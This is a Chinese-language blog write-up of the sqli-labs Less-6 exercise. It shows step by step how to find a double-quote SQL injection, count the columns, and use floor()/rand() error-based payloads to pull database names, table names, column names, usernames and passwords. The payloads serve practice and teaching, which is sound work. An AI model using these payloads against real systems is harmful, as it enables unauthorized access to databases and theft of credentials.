• Less(6)


    1.先判断注入类型

      

       (1)首先看到要求,要求传一个ID参数,并且要求是数字型的;?id=1

        

       (2)再输入?id=1'

        

       (3)再输入?id=1 and 1=1

        

       (4)再输入?id=1 and 1=2

        

         (3)(4)界面一样,所以不是数字型

      (5)再输入?id=1"

        

         发现报错,我们加上--+,把后面注释掉

      (6)输入: ?id=1" --+

        

       接受的参数为id="1"

    2..对列数进行判断

      (1)输入?id=1") order by 3 --+

        

       (2)输入?id=1") order by 4 --+

        

       (3)为3列

    3.因为页面正常的时候,均无输出部分,判断应该没有显示位,此时可尝试报错注入。

      

    4.我们用floor进行注入

      (1)爆库长:?id=1" and (select 1 from (select count(*),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

        

        

      这里发现页面提示我输出信息超过一行,但我们已经使用了group_concat函数,说明这里数据库名组成的字符串长度超过了64位,所以我们需要放弃group_concat函数,而使用limit 0,1来一个个输出

      group_concat()函数的作用:将返回信息拼接成一行显示
      limit 0,1  表示输出第一个数据。   0表示输出的起始位置,1表示跨度为1(即输出几个数据,1表示输出一个,2就表示输出两个)

      (2)注当前的数据库名:?id=-1" union select 1,count(*),concat(database(),';',floor(rand(0)*2))x from information_schema.tables group by x; --+

        

       (3)爆注册表:?id=-1" union select 1,count(*),concat((select concat(table_name,';') from information_schema.tables where table_schema="security" limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+

        

       (4)注某张表的字段,这里以users为例:?id=-1" union select 1,count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+ 

        

       (5)注字段的username值,这里以users为例:?id=-1" union select 1,count(*),concat((select concat (username,';') from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+

        

      (6)注字段的password,这里以users表为例:?id=-1" union select 1,count(*),concat((select concat(password,';') from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+

         

  • 相关阅读:
    函数式编程初探
    基于node的tcp客户端和服务端的简单通信
    eltree 和 elswitch 组合使用
    .net core 部署为Window服务
    网页根据宽度 自动缩放
    GroundPrimitive 批量加载 geometryInstances 不同颜色会出现重叠现象
    vite 创建vue3 项目
    SQl Server 备份还原步骤
    LeetCode 102. 二叉树的层序遍历
    LeetCode 1. 两数之和
  • 原文地址:https://www.cnblogs.com/meng-yu37/p/12080070.html
Copyright © 2020-2023  润新知